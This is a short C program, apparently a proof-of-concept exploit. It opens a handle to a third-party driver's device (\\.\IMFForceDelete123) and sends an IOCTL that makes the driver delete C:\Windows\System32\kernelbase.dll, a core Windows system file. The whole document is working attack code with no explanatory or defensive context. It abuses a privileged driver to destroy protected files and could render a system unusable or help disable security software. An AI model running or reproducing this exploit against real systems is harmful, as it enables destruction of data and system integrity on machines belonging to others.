#include #include const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)"; const char* strDeviceName = R"(\\.\IMFForceDelete123)"; int main() { DWORD dwReturnVal = 0; DWORD dwBytesReturned = 0; BOOL bRes = FALSE; HANDLE hDevice = CreateFileA( strDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); puts("Opened handle to device"); if (!hDevice || hDevice == INVALID_HANDLE_VALUE){ // lol I forgot which one it is oh well return GetLastError(); } bRes = DeviceIoControl( hDevice, 0x8016E000, (LPVOID)wstrDummyFile, lstrlenW(wstrDummyFile) * sizeof(wchar_t), &dwReturnVal, sizeof(DWORD), &dwBytesReturned, NULL ); if (!(bRes && dwReturnVal)) { puts("Delete failed"); CloseHandle(hDevice); return GetLastError(); } puts("Deleted target"); return 0; }